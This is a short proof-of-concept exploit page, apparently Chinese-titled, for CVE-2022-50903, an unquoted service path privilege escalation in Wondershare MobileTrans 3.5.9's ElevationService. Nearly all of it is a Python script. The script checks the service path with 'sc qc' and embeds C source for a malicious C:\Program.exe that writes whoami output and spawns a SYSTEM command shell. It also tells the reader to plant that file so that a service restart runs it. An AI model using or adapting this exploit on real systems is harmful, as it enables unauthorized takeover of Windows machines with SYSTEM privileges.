CVE-2022-50903 Wondershare MobileTrans ElevationService未引用服务路径提权漏洞

# CVE-2022-50903 PoC - Unquoted Service Path Exploitation # This PoC demonstrates the unquoted service path vulnerability in Wondershare MobileTrans ElevationService # Author: Security Researcher # Target: Wondershare MobileTrans 3.5.9 import os import sys import subprocess import shutil def check_vulnerability(): """Check if the vulnerable service exists""" try: result = subprocess.run( ['sc', 'qc', 'ElevationService'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] ElevationService found") print("[*] Extracting service path...") for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f"[*] {line.strip()}") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Generate malicious executable for privilege escalation""" malicious_path = r'C:\Program.exe' # Create a simple malicious executable (reverse shell or command execution) malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // Log successful exploitation FILE *log = fopen("C:\\\\Windows\\\\Temp\\\\exploit_log.txt", "a"); if (log) { fprintf(log, "[+] Exploitation successful at %s\n", __TIME__); fclose(log); } // Execute commands with SYSTEM privileges system("cmd.exe /c whoami > C:\\\\Windows\\\\Temp\\\\priv_esc.txt"); // Spawn a SYSTEM shell system("cmd.exe"); return 0; } ''' # In real attack, compile and place the malicious executable print(f"[!] In production, compile malicious code and place at: {malicious_path}") print("[!] When ElevationService starts, it will execute C:\\Program.exe instead of full path") return True def main(): print("=" * 60) print("CVE-2022-50903 - Wondershare MobileTrans Unquoted Service Path") print("=" * 60) if not check_vulnerability(): print("[-] Target service not found or not vulnerable") return print("[*] Creating exploitation payload...") create_malicious_executable() print("\n[!] Attack simulation complete") print("[*] To exploit: Place malicious executable at unquoted path location") print("[*] Service restart will trigger execution with SYSTEM privileges") if __name__ == "__main__": main()